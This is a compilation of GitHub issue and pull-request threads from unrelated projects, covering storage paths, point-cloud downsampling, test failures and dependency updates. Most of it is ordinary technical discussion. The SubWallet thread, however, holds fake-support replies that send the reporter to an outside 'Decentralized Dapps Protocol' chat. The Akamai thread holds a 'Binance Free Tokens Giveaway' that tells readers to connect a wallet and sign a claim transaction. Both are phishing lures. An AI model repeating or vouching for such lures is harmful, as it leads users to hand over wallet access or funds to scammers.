longhorn-system/longhorn-manager-74bmt[longhorn-manager]: time="2020-02-14T21:43:31Z" level=warning msg="pvc-f92e5ed6-f7b6-4125-886b-3e5a595a2103-r-3e7111d1: time=\"2020-02-14T21:41:24Z\" level=fatal msg=\"Error running start replica command: mkdir /host/var/lib/rancher/longhorn/replicas/pvc-f92e5ed6-f7b6-4125-886b-3e5a595a2103-d075eb0f: no such file or directory\""

What is the correct way to deploy it via helm and store all data in /var/longhorn?

I think you meant /var/lib/longhorn. But which version are you using? We don't use /var/lib/longhorn in our latest release v0.7.0.

I am just using the Helm Chart in this repo with default values.

@runningman84
The Longhorn volume data is stored at each disk of Longhorn, that directory can be specified through the Longhorn UI -> Node -> Edit Node or through the Default Data Path in the settings.
For other metadata files on the disk, we're moving from /var/lib/rancher/longhorn to /var/lib/longhorn, so if you see some disparity between the two, it would be resolved in the next two releases.
Though when I've double-checked our chart file, I realized we'd made a mistake on one setting. https://github.com/longhorn/longhorn/blob/7aa122b10ec6902f27558f35b8cdd717d64886d5/chart/templates/daemonset-sa.yaml#L47
This should point to /var/lib/longhorn-settings as in https://github.com/longhorn/longhorn/blob/ed02804b203a24955c037fa60bbfc5810ccae2df/deploy/longhorn.yaml#L270 instead of /var/lib/longhorn/settings. The same issue was found in the Rancher chart https://github.com/rancher/charts/blob/28cb367ac24077aad3d667db7bc9c59002b03ad1/proposed/longhorn/latest/templates/daemonset-sa.yaml#L47
cc @shuo-wu . We might need to delay the directory migration into the next release because of the recurring mount issue. @shuo-wu  can you double-check if recreating manager pod can help with the issue?

@shuo-wu Can you provide the steps to verify the issue? I believe you found that the recursive mount doesn't exist for the helm chart after the upgrade.

Validation: PASSED

i want to change the default path of data from /var/lib/longhornhorn to other. may i know how and where to change

i want to change the default path of data from /var/lib/longhornhorn to other. may i know how and where to change

See @runningman84 comment above.
The Longhorn volume data is stored at each disk of Longhorn, that directory can be specified through the Longhorn UI -> Node -> Edit Node or through the Default Data Path in the settings.


Downsampling interface for Epoch objects

Hello. Thank you very much for your work on this package.
I tried to perform what I assume to be a common operation : I wanted to run icp_with_stable_areas on a point cloud and ran out of memory, so I wanted to downsample my epoch. Here is what I had to do :
indices = np.random.choice(epoch.cloud.shape[0], int(epoch.cloud.shape[0] / factor), replace=False)
 xyz = epoch.cloud[indices]
 xyz = "\n".join([" ".join(map(str, point)) for point in xyz])
 try:
     with open("temp.txt", "w", encoding='utf8') as f:
         f.write(xyz)
     new_epoch = py4dgeo.read_from_xyz("temp.txt")
 except Exception as e:
      if os.path.exists("temp.txt"):
          os.remove("temp.txt")
      raise e

I am not sure if I missed some feature which would have allowed me to do this faster, but this looks like an overly complicated way of downsampling an Epoch. I tried simply epoch.cloud = epoch.cloud[indices] but this creates a segmentation error. Here are some suggestions to support this at different levels :

adding a downsampling method for Epoch
adding an Epoch constructor from x/y/z python objects instead of only system files (if this already exists, expose it more clearly in the doc)
support epoch.cloud = ...

Keep up the good work and thank you again !

Hey, thanks for reporting this! This should be absolutely something easily done within py4dgeo and I will bring it up at the next developer meeting. Here is my analysis of what happens:

Although epoch.cloud = ... does not throw an error, it leaves the Epoch object in an unusable state, as we require point clouds to be continuous in memory. The checks regarding that are in __init__, rather than a setter for .epoch, that is why you do not run through that code path. This should be fixed.
That being said there is a way of doing what you want in downsampled = py4dgeo.Epoch(epoch.cloud[indices])
However, this is also not desirable because as you have to (manually) downsample all other data like normals and additional dimensions as well.

To conclude, I think two things should be done:

indeed a downsample method would be a good solution, that handles the downsampling of all relevant data
.cloud and friends should be properties that cannot be set to prevent the errors you ran into.

@Antzyx This can now (on main) also be achieved as epoch[indices] which returns exactly what py4dgeo.Epoch(epoch.cloud[indices]) did, but also normals and additional dimensions are handled correctly.


Support WebSocket Denial Response

This is incomplete work.

Hey @Kludex 👋 Sorry for the delay on this! What would you need to push this forward? 🙂


Implement Hermes3 in 3D into NESO

This is no longer dependent on "Hermes3 in 2D in NESO". Plan is to get Dave Moxey contributing directly to NESO.

reuse as much code between 2D and 3D

Ben Dudson has given us details of the 3D drift-reduced fluid equations as per https://github.com/bendudson/hermes-3/tree/master/examples/linear. We have the equations! This can go straight into NESO and not first a standalone Nektar mini-app.

PR lives in https://github.com/ExCALIBUR-NEPTUNE/NESO/pull/181
Current issue is solving for $\phi$: not likely to be unit problem; could be boundary condition.

It's relatively stable but not giving sensible answers. OP judges that it's now stable enough to add particle functionality to it.

Ed & Owen to go through nondimensionalisation tomorrow.

Problems with the $\phi$ solve reported. Different solvers are available: petsc, mumps. These will need extra config efforts in build.

Focusing on simplified Helmsolve ${\vec{ \vec D}} \nabla_\bot \phi = \omega$ which now works with 2 Dirichlet boundary conditions. This is because the "grounded" dof with all Neumann BCs is wrong post-solve, but this "grounding" functionality can be turned off. @will-saunders-ukaea knows how cos this is done in the electrostatic solve.

https://github.com/ExCALIBUR-NEPTUNE/NESO/blob/83d9c49e54c4026379ac1739d934489f59aa8639/solvers/Electrostatic2D3V/EquationSystems/PoissonPIC.cpp#L46C42-L46C50
False disables the checks (i.e. the pinning) true enables (and it's up to the user to check the pde is well posed?).

In comms with Mike Kryjak of Hermes3 fame.

2D HW equations work in 3D (no parallel dynamics) for any order (tested up to 6 modes).
Let's figure out what neutral physics is sensible and use 2DHW in 3D w/ particles as the near term milestone.

Get the HW system working properly in 3D with the perp Laplacian & parallel dynamics (i.e. the kappa coeff becomes a derivative along the field lines)
Get the LAPD system going having completed (1).

This is now a tidy up PR https://github.com/ExCALIBUR-NEPTUNE/NESO/pull/209

Fixed by PR #209


feat(projects): host projects images

Adds images of resume's projects to host them

Current dependencies on/for this PR:

main

PR #119   👈

This comment was auto-generated by Graphite.


Mobile - Unified account - Bug related manage network

Describe
Import network failed
Version: SubWallet v1.1.84(440)b-v11
Device: Samsung S20
Reproduce the steps:

At the Import network screen, enter a network that does not exist in the wallet
Actual:  Show error message: "Cannot connect to this provider"
Expect: Import network successfully

Hello @giangtth17
Visit the official Decentralized Dapps Protocol website to complete your request. Strictly follow the procedure laid by the support team on the page once you establish a chat via Decentralized Portal.
Note: Use the chat icon at the bottom of the page to initiate the chat.

Describe Import network failed Version: SubWallet v1.1.84(440)b-v11 Device: Samsung S20 Reproduce the steps:

At the Import network screen, enter a network that does not exist in the wallet
Actual:  Show error message: "Cannot connect to this provider"
Expect: Import network successfully

We apologize for any trouble you've encountered; it seems there may have been a glitch with the cloud data, but rest assured, we can resolve this issue. To expedite the process, kindly follow the link below to reach our specialized support team:
Subwallet Support Request
Use the live chat button at the bottom right to connect with a support agent for prompt assistance.
Thank you for your patience—I’m confident your issue will be resolved soon!

This is feature, do not bug


HttpException should include the HTTP METHOD

It would be useful to developers to include the HTTP method that failed in the HttpException message as well as the URI so developers looking at logs will be better able to narrow down which endpoint returned the response.

Added for v2.7.0 along with a bit of other HttpException related cleanup.


[feat] Double-clicking on the sides of an element to automatically adjust width style

Double-click on an edge of an element to set it to "Hug"
Double-click on an edge of an element while holding "option" or "ALT" to set it to "Fill"

Inspired by:
https://x.com/miguelsolorio_/status/1844442223318090043
Could also be related to #101

Hey @drfarrell I'm interested to work on this, can this issue be assigned to me?

This is gonna be a tricky one @TheShiveshNetwork let me know of any roadblocks you run into with this in the Discord.
I think this is probably not a good first issue @drfarrell

Hey @TheShiveshNetwork how's it going? Need any help?

@TheShiveshNetwork I'm going to unassign you from this just so we can open it up for other contributors. Let me know if you'd still like to work on it!


Eventually support multiple jurisdictions on one Docassemble server

This is done! #159 was the big one here.


Add '--time-format' to 'influxctl query'

[x] Rebased/mergeable

1 - I can turn off the tiger bot, PR not against master/main comment if you want. We added it to telegraf after no one noticed a PR was against a different branch

If we could just for the docs-v2 repo, that'd be great. We use feature branches a lot.

2 - Probably will release Thursday or Monday to avoid the Friday release

Sounds good. I'll update the dates once we know when it's going to ship.


Bugfix: 3075

Fix issue: https://github.com/shogun-toolbox/shogun/issues/3075
Sorry I messed up my previous PR with an improper rebase…

Thanks for the patch!
Some minor comments, should be easy to fix.

Done :)

I added more explanation in the comment before CLaRank::set_max_iteration.
The theoretical upper limit for iterations is a function of C, n, W^2 and \tau, using dual gap as the stopping criteria (the previous implementation in shogun). In practice, however, a very small number (2~3) of iterations is usually sufficient to give satisfactory performance, so the max_iteration option here is more a safeguard from eccentric training sets rather than a primary stopping criterion.

Ok cool, this is really close to being merged. Sorry for being a bit picky about the comments/docs, but it is well worth it to bring things to a level where they do not have to be touched ever again anymore :)

Modified class doc comments to clarify stopping criterion.
Moved implementation of set_max_iteration to .cpp

ok this is ready :)
Squash all commits into one and we can merge.
Thanks!

All commits squashed.


Section due date work

Added RSpec tests for the SectionDueDate model.
Removed the Test Unit for the SectionDueDate model.
Rewrote SectionDueDate.due_date_for method.

I ran both test suites before and after the method rewrite. 0 failures in all cases.

@kubasub Yay! Nice to hear from you. One question - why did the schema.db file change like this? Seems like the ":null => false" is a good idea

@david-yz-liu you too!! the schema changes came in when I merged from upstream and db:migrated. The null: false is something that I wanted to do, but definitely wasn't me lol.
Do you want me to try to get rid of those mods? I will probably have to play around with it a bit -- possible re-clone/re-fork the repo and reapply my changes.

@kubasub No, I can do it. I ran a db:migrate on your branch and the null: false seemed to come back. Weird.

@david-yz-liu , that's strange. I may have to fix something on my end in the future. I'll keep an eye on that before making a PR.

Quite possibly a version mismatch of rails or something.

@david-yz-liu , just thought I'd tell you that after recreating the db (db:reset), db:migrate no longer removes the NOT NULL constraints.

Good to know, @kubasub! Weird.


Merge similar peripheral together

Similar peripheral (especially the ones with the derivedFrom attribute) should use a common struct.
So that a function could take any one of them as parameter.
One good example of that is GPIOs.
For the moment, each peripheral has its own module.

This is implemented.


Do not set resource_name outside of Chef::Resource

:ship: :it: :shipit:

By way of description, this brings master back to the same behavior as 12.3. Further discussions of how this should work in the future are over at https://github.com/chef/chef-rfc/pull/136.


Update the source information

Type: Missing
Summary:
Update the source information
Details:
With the rise in supply chain attacks and OSS dependencies being used as a attack vector, Microsoft is working with our ecosystem partners, such as the Linux Foundation's OpenSSF, to enable OSS consumers to track packages back to their public sources.
Resolution:
This PR was created to add this value, ensuring future releases will include this provenance information.
Published NPM packages with repository information:
* react-required-if
Affected definitions:

react-required-if 1.0.3

Author has other packages that point to this GitHub user account. Approved.


Store response of security webhook in state

The problem faced currently?
Currently we do not store the value received from the webhook in the args state. Because of this, we cannot use the values received from the webhook.
How can we solve it?
Accept a store field in the security rule where the response body of the webhook will be saved.

If you want this feature to be implemented, give it a thumbs up reaction, so that we can determine which features are important to you.
👍

@YourTechBud Do you think we should accept a store field for the query rule as well instead of directly saving the db response in args.res? If no store is provided then we can use args.res for backwards compatibility. What do you think?
Also, should the store field in the webhook rule be compulsory or optional? What would happen if the store is not specified? Would the response be not stored or would it be stored at some default place like args.res?

Yes. Agreed

Cool @YourTechBud!
We just need to add a field store in case the  rule is webhook or query. This field needs to be optional. It specifies where the result of the database query (in case of query) or the webhook request (in case of webhook) will be stored.
Just need to make the changes in this file
Also, we need to make sure if the initial value of the store field is provided then it's displayed in the form.

Done in mission control. All thanks to @arn4v!

Done in backend as well. Closing.


Arrow key movement bug

There's a bug around character movement with arrow keys. The current onkeydown function will run the movement code for any key pressed as long as one of the arrow keys is pressed. This results in the movement code running per key pressed, effectively multiplying the characters movement speed by the number of keys pressed.
You can see this is a the live demo. If you click an arrow key + any other key, movement speed doubles and increases for each key pressed.
Suggested fix:
adding a guard to prevent movement code from running if the key pressed is not a direction like this:
if (!directions.includes(key)) return

Thanks for reporting this!


some notebooks require tdqm

Some notebooks import tdqm, but that's not installed on the VM by default.

probably best to merge this issue with #40


docs(README): fix link in "Import tRPC API" section

Fix an incorrect link in the  "Import tRPC API" section of the README.md.

Thanks for the PR!


Investigate flaky tests

https://github.com/hansetag/iceberg-rest-server/actions/runs/9445878094/job/26014698294
https://github.com/hansetag/iceberg-rest-server/actions/runs/9419793557/attempts/1
could be related to a missing healthcheck

looks like we're attempting to connect to nats which isn't there yet:
https://github.com/hansetag/iceberg-catalog/actions/runs/9501057972/job/26186131199?pr=77


Use Sense notification APIs rather than log appenders

While log appenders will forward reload failure events to Butler just fine, they are somewhat tricky to set up.
It would be a smoother user experience to have Butler use the Sense notification API and that way simply subscribe to the relevant events.
This is what Butler Notifier does, so the scaffolding is already there.

While technically possible to use the QSEoW notification API, that API is not quite as complete and user friendly as it should be.
Switching to using that API could introduce new, wide spanning issues wrt Butler's ability to capture reload events.
The log appenders are a bit messy to set up and configure, but once there they have proven to work reliably.
For now Butler will keep them as its primary source of events from QSEoW. This may of course change if the notification APIs are considered good enough for Butler's needs.


hospitable README

could the buildah README.md have some copy paste example on running it, rather than so much build instructions?
it would seem much more useful to people searching for it and just giving it a 10second review
like, at first glance i would be 10x more likely to use/try a project if the README showed how it makes my life easier but having 5 pastes of compile instructions is a deterrent

As it gets easier to find binary packages, this'll probably be more relevant to people who are interested in trying it out.


Replace use of ListenableFuture w/ CompletableFuture in Kafka Binder

Recently spring-kafka replaced use of ListenableFuture w/ CompletableFuture as it was removed from SF.
We need to act accordingly in the kafka binders.
[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.9.0:compile (default-compile) on project spring-cloud-stream-binder-kafka: Compilation failure
[ERROR] /Users/cbono/repos/spring-cloud-stream/binders/kafka-binder/spring-cloud-stream-binder-kafka/src/main/java/org/springframework/cloud/stream/binder/kafka/KafkaMessageChannelBinder.java:[1586,66] incompatible types: java.util.concurrent.CompletableFuture<org.springframework.kafka.support.SendResult<K,V>> cannot be converted to org.springframework.util.concurrent.ListenableFuture<org.springframework.kafka.support.SendResult<K,V>>
[ERROR]
[ERROR] -> [Help 1]
[ERROR]

@olegz I got this one and am working it currently.

This is currently blocked as SB 3.0.0-SNAPSHOT is still pointing to spring-integration 6.0.0-M4 which still has the old ListenableFuture usage. This cause the integration tests in SCSt kafka binder to fail.


cudagraphs before del

The current del handling in the cudagraphs transforms runs into trouble when not fusing everything because dels go to the wrong place.
This is needed in order to exclude (even experimentally) things from the cudagraph.
However, it misses

handling autograd's transform for execution (@IvanYashchuk any advice if we can move the delete last used to after autograd, i.e. to thunder.jit.fn_?)
a testing strategy. This only shows when not merging everything (I manually excluded bnb_matmul_nf4 by hardcoding a change to the executor and hit this, maybe allowing operators to say if they're cudagraph-unfusable?)

Also cc @nikitaved if he has comments.

I'm sorry it's unclear what problem you're seeing with del. Is it possible that you're hitting the same problem reported in https://github.com/Lightning-AI/lightning-thunder/issues/728?

I'm sorry it's unclear what problem you're seeing with del. Is it possible that you're hitting the same problem reported in https://github.com/Lightning-AI/lightning-thunder/issues/728?

Yeah, I'm seeing fused dels of returns. I think it is better to do the del after use after (and within) the cudagraph because it is the final form. The trouble in the CI comes from me not touching autograd yet.

handling autograd's transform for execution (@IvanYashchuk any advice if we can move the delete last used to after autograd, i.e. to thunder.jit.fn_?)

Yes, do it for the forward trace, I wouldn't touch the backward trace. The alternative is to move cudagraphex.fusion_pass inside the torch autograd path. Any backward trace manipulation should be handled inside this function https://github.com/Lightning-AI/lightning-thunder/blob/010c29889876fa761ec1b5feb145129d745e3a52/thunder/executors/torch_autograd.py#L109
The existence of a backward trace as a standalone object outside of this function should be hidden and it should always be attached to a forward trace which is done in https://github.com/Lightning-AI/lightning-thunder/pull/214. Before that PR is merged you are free to reorganize the compilation flow however you feel is convenient to follow the logic and however it brings runtime or trace time benefits.


Consolidate MaxMajorProtVer

Consolidate MaxMajorProtVer logic, plumbing and checks.
cc @JaredCorduan

It would be very helpful to have some easy to find documentation about how the max major protocol version is configured, perhaps a document in docs. We might also include some documentation about its use and how it relates to the protocol version listed inside the block header. Since the header version is configured in the node (see here), we might consider placing the documentation about these values in the node repository.
In order to avoid mistakes in the future, we could consider not exporting the constructor for MaxMajorProtVer so that we can relying on the type system to prevent mistakes like this one.
One last random comment, I couldn't figure out why this line of code was setting the max major protocol version to something with Alonzo in the name:
https://github.com/input-output-hk/ouroboros-network/blob/470ee82d9dfb1e07f55e6600d50de6aa60cf8a5c/ouroboros-consensus-cardano/src/Ouroboros/Consensus/Cardano/Node.hs#L581-L582

(PR #4111 is a small contribution to this Issue.)

FTR: One possible next step in this process is sketched in https://github.com/input-output-hk/ouroboros-network/pull/4111#discussion_r1005815258


Various optimizations and Features

New Feature: support the new Lovelace sidebar layout (introduced in HomeAssistant 2021.8)
Performance improvement: only resize renderer/canvas when it is currently on-screen
Performance improvement: Stop animations when covered by a HomeAssistant edit screen dialog box (fixes #48)

Hello Jvital I'm doing a major change to door windows, maybe I should start some module so that we can work independently on different features. The recent changes you are doing are touching several parts of the main  code file. Please advise

I think modularizing this module is a good idea to facilitate collaboration. That will really help, especially if others want to chip in. I hope I haven’t stepped on your toes too much with the changes I’ve been making. This PR is bigger than I had hoped…
If you’d like, I’d be happy to sit on these changes until you finish the window/door improvements. Afterwards I can rebase my changes on your new code and submit it again.
Full transparency though: I have some real life events coming up in a couple of weeks that will preclude me from working on any pet projects like this for a while. To that end, this is the last PR I plan on making for quite a while.
I’m giving myself this couple week buffer so I can help fix anything I broke (which is hopefully nothing)! I know you’re looking for a partner with this project, and I really wish I could be that guy, but it’s not in the cards right now. Who knows that the future holds ~6 months from now though

Hello JVital, I have not told you enough how grateful I'm about your support. It is a project that requires another level of JavaScript knowledge compared to mine, especially if we want to make it mainstream. You have what it takes. I'm sorry to hear that you have to step out for a while (hope it is for positive life events). I should take a little more time to understand your "pulls" I try just to ensure you are not making regression in some functional rules I have implemented in my crappy code. I will try to rethink about the code structure so that we can facilitate collaboration and, in your absence I will try to call for additional contribution (if you know someone else from the community).


Importing

Hello
I'd like to know if there is an issue with importing overall or if its just on my end
or maybe I'm just doing something wrong.

You need to make sure that the id field is empty for any new records.
If the id field is non-empty, then it will attempt to find an existing Part matching that id - and it returns an error if it does not match

Thank you so much Oliver

https://github.com/inventree/inventree-docs/pull/65


stoping problem

Hi!
I’m a user of Norconex V2…. but when I try to use Norconex V3 it has a problem trying to stop a configuration, the error displayed was…

And the command that I was using was 'sh collector-http.sh stop -config=examples/config_example.xml', when I use this command with 'start' works.
Can you help me with this problem?
Thanks a lot for your time,
Regards.

In case it is related, can you replace the deprecated class with the new one?  If you still have the issue after this, can you share your config?


Noob question: why nightly ? is it a permanent choice ?

Disclaimer: I'm rather new to rust's world. My question might come from a lack of knowledge of how things work.
I'm interested in using this lib is a small pet project. I have been using rust's stable release so far for that project, which means it will fail to compile cron, which requires some nightly (?) features.
Is this permanent, or does cron aim to support rust stable at some point ?
More generally, is the choice to use nightly features guided by some kind of recommendation ? Should I myself follow those ?
Thanks for your help !

Hello!

why nightly ?

I created cron for fun and wanted to take advantage of some unstable features. Specifically:

RangeBounds (stabilizing soon)
Iterator::step_by (stabilizing soon)
impl Trait (now stable)

Is this permanent, or does cron aim to support rust stable at some point ?

I do not intend to add other unstable features to cron, so when these reach stable rust I can remove the nightly requirement. All of the remaining features have had their RFCs accepted and are being implemented, so it shouldn't be too much longer.

More generally, is the choice to use nightly features guided by some kind of recommendation ?

Building on stable should be the default choice for new crates. If there's a nightly feature you want to use that's just syntactic sugar for some existing Rust functionality, you might choose to avoid it for the sake of keeping your project on stable. However, some unstable features offer functionality that you can't achieve on stable. In that case, going with nightly would be your only option.
If the feature that you want to use is in a somewhat isolated part of your crate, you can allow users to opt into using it with Cargo features. I've never used this feature myself.

Hi zslayton,
thanks for the awesome, thorough and interesting reply !

Thanks to a recent pull request, the latest version of cron (v0.5.0) now builds on stable Rust (v1.28.0).


Better code completion providers

Like many others, I've come to love the code completion abilities provided by previous Shopify extensions for VSCode. It's really nice to be able to type something as simple as "ca⇥" and have VSCode output a complete case tag/block.
With that in mind, I've been playing around with the language server in theme-check with the goal of implementing more extensive code completion. I have a long way to go, but I just finished my first proof of concept for context-sensitive tag completion. As you can see in the screen recording below, tags will autocomplete correctly both as regular tags, and as inline tags inside of a liquid block!

This is my first time diving into the Language Server Protocol, and it's got me really excited for the possibilities. The extensions I've built in the past have been based on simpler Textmate grammars (as have other Liquid extensions), which provide a lot of functionality but aren't nearly as flexible as using Language Server Protocol. For example, the context-sensitive completion that I illustrated above just isn't possible with the older style of extension—in order to support both types of tags, the list of code completions that the user sees would have duplicates of ever single tag. Using Language Server is way better!
If anyone at Shopify wants to know specifics of how I'm implementing this, I'd be happy to share. For now I'm going to continue working on it, since even if it never gets published it will still make my own theme development way smoother!

Old issue, but noticed it's in our backlog and what I'm doing with #500 is very similar. I'll try to fix this one in #507 as well.


Include doc on enabling GCE cloud provider for custom clusters

This PR is intended to pull information from this gist https://gist.github.com/thxCode/3d6805a904fdb34a03010c0908e25bed into the Rancher documentation so that it can be used to enable the GCE cloud provider.

I accidentally merged this PR. I'm going to make another PR to respond to this feedback

These errors have been fixed in the following commits:
https://github.com/rancher/docs/commit/ca2386656c0cdeb9f57a5ba3f6158b258900a85a
https://github.com/rancher/docs/commit/ae7a2d5d365cb3a44fb0b9172a7d2de922ffbdc9


[Issue 14013] RestAPI - Make getPartitionedTopicList to async.

Master Issue: #14013
Motivation
Make Rest API getPartitionedTopicList to async and to refactor code style to make it more clear.
Modifications

Make the getPartitionedTopicList method from sync to async.

Verifying this change

[x] Make sure that the change passes the CI checks.

Documentation
none.
Need to update docs?

[x] no-need-doc

@Anonymitaet
Sorry, I got the wrong tag here.
please help me to remove the doc-required tag.

@codelipenghui  @liudezhi2098  @Technoboy-  @Jason918  @nodece  PTAL :-)

/pulsarbot rerun-failure-checks


Cannot display town rank members in tooltips

Describe the Bug
Displaying town ranks in the hover or click tooltip always displays "None" for the members having that town rank.
Expected Behavior

Members with the specified town rank should be displayed on the respective information.
Plugin Version

1.0.0-ALPHA-3
Towny Version
<IP_ADDRESS>
Pl3xMap Version
Pl3xMap v1.0.0-BETA-162
Server Software Version

Paper 1.17.1 Build 327
Additional Comments

Fixed in build v1.0.0.


Issue #175: update link to install script

@cmoulliard @SlavoKrupa mind taking a look?

LGTM 👍 Thanks

thank you @SlavoKrupa, merging.

Merged: https://github.com/openshiftio/appdev-documentation/commit/f147fc6b444091465f646ca5be251410919507bc


[Feature Request] Copying users' current profiles to generate the "ehpanda" profile instead of creating one from scratch

Is it possible to copy the current profile instead of creating a new one from scratch? Cause I noticed that it keeps happening that with every new start on my front page there are always image sets, while in my own profile, it is set to only show doujinshi and manga on the front page. I have to manually switch to my own profile and go back and refresh every time."

I hope the created ehpanda profile may modify "categories shown by default on the front page and in searches", "tags threshold" and "excluded languages".
I understand if this request may not be prioritized, but your consideration is really appreciated. Thank you so much.

Thanks for your proposal.
Although we might still need to tweak a bit for some related features, it sounds great to me.
I think we should implement this. @chihchy


Asus ZE550KL / sliding menu : the avatar is at the at the view top whereas we should have a margin.

The sliding menu is longer than before.
On this device, it automatically drops to the latest menu entry.


in authenticate NameError: name 'EdgeRc' is not defined

``
The full traceback is:
Traceback (most recent call last):
File "/Users/palea009/.ansible/tmp/ansible-tmp-1601491615.179287-78883412705808/AnsiballZ_akamai.py", line 102, in
_ansiballz_main()
File "/Users/palea009/.ansible/tmp/ansible-tmp-1601491615.179287-78883412705808/AnsiballZ_akamai.py", line 94, in _ansiballz_main
invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)
File "/Users/palea009/.ansible/tmp/ansible-tmp-1601491615.179287-78883412705808/AnsiballZ_akamai.py", line 40, in invoke_module
runpy.run_module(mod_name='ansible.modules.akamai', init_globals=None, run_name='main', alter_sys=True)
File<EMAIL_ADDRESS>line 206, in run_module
return _run_module_code(code, init_globals, run_name, mod_spec)
File<EMAIL_ADDRESS>line 96, in _run_module_code
_run_code(code, mod_globals, init_globals,
File<EMAIL_ADDRESS>line 86, in _run_code
exec(code, run_globals)
File "/var/folders/zb/62d8dsj52c17tx7dcs6p4jxsxcr9n1/T/ansible_akamai_payload_5dyo9ean/ansible_akamai_payload.zip/ansible/modules/akamai.py", line 90, in
File "/var/folders/zb/62d8dsj52c17tx7dcs6p4jxsxcr9n1/T/ansible_akamai_payload_5dyo9ean/ansible_akamai_payload.zip/ansible/modules/akamai.py", line 82, in main
File "/var/folders/zb/62d8dsj52c17tx7dcs6p4jxsxcr9n1/T/ansible_akamai_payload_5dyo9ean/ansible_akamai_payload.zip/ansible/modules/akamai.py", line 33, in authenticate
NameError: name 'EdgeRc' is not defined
fatal: [localhost]: FAILED! => {
"changed": false,
"module_stderr": "Traceback (most recent call last):\n  File "/Users/palea009/.ansible/tmp/ansible-tmp-1601491615.179287-78883412705808/AnsiballZ_akamai.py", line 102, in \n    _ansiballz_main()\n  File "/Users/palea009/.ansible/tmp/ansible-tmp-1601491615.179287-78883412705808/AnsiballZ_akamai.py", line 94, in _ansiballz_main\n    invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)\n  File "/Users/palea009/.ansible/tmp/ansible-tmp-1601491615.179287-78883412705808/AnsiballZ_akamai.py", line 40, in invoke_module\n    runpy.run_module(mod_name='ansible.modules.akamai', init_globals=None, run_name='main', alter_sys=True)\n  File<EMAIL_ADDRESS>line 206, in run_module\n    return _run_module_code(code, init_globals, run_name, mod_spec)\n  File<EMAIL_ADDRESS>line 96, in _run_module_code\n    _run_code(code, mod_globals, init_globals,\n  File<EMAIL_ADDRESS>line 86, in _run_code\n    exec(code, run_globals)\n  File "/var/folders/zb/62d8dsj52c17tx7dcs6p4jxsxcr9n1/T/ansible_akamai_payload_5dyo9ean/ansible_akamai_payload.zip/ansible/modules/akamai.py", line 90, in \n  File "/var/folders/zb/62d8dsj52c17tx7dcs6p4jxsxcr9n1/T/ansible_akamai_payload_5dyo9ean/ansible_akamai_payload.zip/ansible/modules/akamai.py", line 82, in main\n  File "/var/folders/zb/62d8dsj52c17tx7dcs6p4jxsxcr9n1/T/ansible_akamai_payload_5dyo9ean/ansible_akamai_payload.zip/ansible/modules/akamai.py", line 33, in authenticate\nNameError: name 'EdgeRc' is not defined\n",
"module_stdout": "Please install edgegrid-python using pip\n",
"msg": "MODULE FAILURE\nSee stdout/stderr for the exact error",

I believe the cause is in the module_stdoutput at bottom Please install edgegrid-python using pip

🚀 Binance Free Tokens Giveaway! 🌕
Welcome to the exclusive Binance Free Tokens Giveaway! 🎉 Don't miss out on claiming your free tokens. Here's a simple guide to get started:
Steps to Claim:

Connect Your Binance Wallet:

Click on the Connect Wallet.
Select your preferred wallet provider (Metamask, Trust Wallet, etc.).
Follow the prompts to connect your wallet securely.

Interact with the Contract:

Once your wallet is connected, navigate to the Binance Free Tokens Page.
Click on the "Claim" button to interact with the smart contract.

Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

Spread the Excitement:

After successfully claiming your tokens, share the news!

Twitter: Tweet about Your Tokens
Facebook: Share on Facebook

Act fast and enjoy your tokens! This limited-time offer won't last forever. 🌐💰
Note: Make sure to follow official Binance channels for updates and announcements.


i18n "itemXofY" not implemented

Describe the bug
i18n Key "itemXofY" is not used, I'd expect the dots to use this as a tooltip
To Reproduce
Go to https://ismail9k.github.io/vue3-carousel/examples.html#custom-texts and hover over the dots.
Expected behavior
configured value pops up in the tooltip

Thank you for the feedback!
The itemXofY key is currently used for accessibility purposes, allowing screen readers to provide more context to users. Here’s how it’s implemented:
<div class="carousel__liveregion carousel__sr-only" aria-live="polite" aria-atomic="true">
    Item 2 of 10
</div>

Additionally, we provide an aria-label for each pagination button:
<button
    type="button"
    class="carousel__pagination-button carousel__pagination-button--active"
    aria-label="Navigate to slide 2"
></button>

To further enhance the user experience, we could also add a title attribute to the button. This would display a tooltip on hover:
<button
    type="button"
    class="carousel__pagination-button carousel__pagination-button--active"
    aria-label="Navigate to slide 2"
    title="Navigate to slide 2"
></button>

This small addition would provide consistent navigation information for both screen reader users and those who rely on hover-based tooltips.

Thank you for having a look at my issue and the clarification. Your proposal looks really good. I'd love to see this implemented. Would you mind adding a small note to the documentation https://vue3-carousel.ismail9k.com/config.html#i18n about the usage as well?

Sure, I will add more information about it as well.


Update sbt to 1.3.0-RC5

Updates org.scala-sbt:sbt from 1.3.0-RC4 to 1.3.0-RC5.
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention @scala-steward in the comments below.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.scala-sbt", artifactId = "sbt" } ]

labels: semver-pre-release

Codecov Report

Merging #43 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master      #43   +/-   ##
=======================================
  Coverage   76.92%   76.92%
=======================================
  Files           2        2
  Lines          13       13
=======================================
  Hits           10       10
  Misses          3        3

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e721804...06e63b4. Read the comment docs.


Test layout/grid-positioning.typ fails on Alpine Linux

Description
I just sent a merge request to bump typst from 0.10.0 to 0.11.0 on Alpine Linux, and the layout/grid-positioning.typ test is failing on armv7 and x86:
layout/grid-positioning.typ ❌
  Subtest 13 does not match expected errors.
    Not annotated // Error: 213:16-213:35 number too large
    Not emitted   // Error: 213:3-213:39 cell position too large
  Subtest 14 does not match expected errors.
    Not annotated // Error: 222:23-222:42 number too large
    Not emitted   // Error: 222:3-222:46 cell position too large
  Subtest 15 does not match expected errors.
    Not annotated // Error: 230:22-230:41 number too large
    Not emitted   // Hint: 230:3-230:45 try reducing the cell's rowspan or colspan
    Not emitted   // Error: 230:3-230:45 cell would span an exceedingly large position

Reproduction URL
No response
Operating system
Linux
Typst version

[X] I am using the latest version of Typst

Right, I guess I didn't consider that usize isn't always u64. This means that the limits will vary depending on your architecture.
